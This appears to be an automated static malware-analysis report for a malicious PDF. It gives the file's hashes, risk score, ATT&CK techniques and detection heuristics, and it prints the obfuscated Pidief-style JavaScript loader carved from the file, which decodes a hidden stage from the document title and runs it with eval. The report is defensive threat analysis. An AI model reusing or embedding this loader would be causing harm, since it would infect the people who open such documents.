Malicious PDF — malware analysis report

Static analysis result for SHA-256 034dec31ff9ac4dc…

MALICIOUS

PDF

44.7 KB First seen: 2026-05-09
MD5: e07afdb65d7b8b16bce83519562d5a3e SHA-1: f3f20304a77a79b9a4969d64857aaa1fbf462fbe SHA-256: 034dec31ff9ac4dc7d783e4e947743c5374e8031070fcc5841d27d502ea80c8a
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified by heuristics as a loader. This script attempts to decode and execute a payload, likely by downloading it from a remote source. The ML classifier strongly indicates maliciousness. The script's obfuscation and loader functionality suggest it is designed to fetch and run a secondary malicious component.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB01A 452 bytes
SHA-256: 0677d4d31b3f961a00cfb4234785f2a41e1974389ce53b081af58c5e6e081e88
Preview script
First 1,000 lines of the extracted script
dywnk='';
v='s'+'u';
try{[1,2][6].as();}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
lpnxf=title;
s=lpnxf.substr(t.length + 8,3)+'str';
q=lpnxf[s](1,9);
nyz=e('S'+'tring.fro'+q);
q=lpnxf[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	mlr = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	dywnk += nyz(mlr);
}
e(dywnk);

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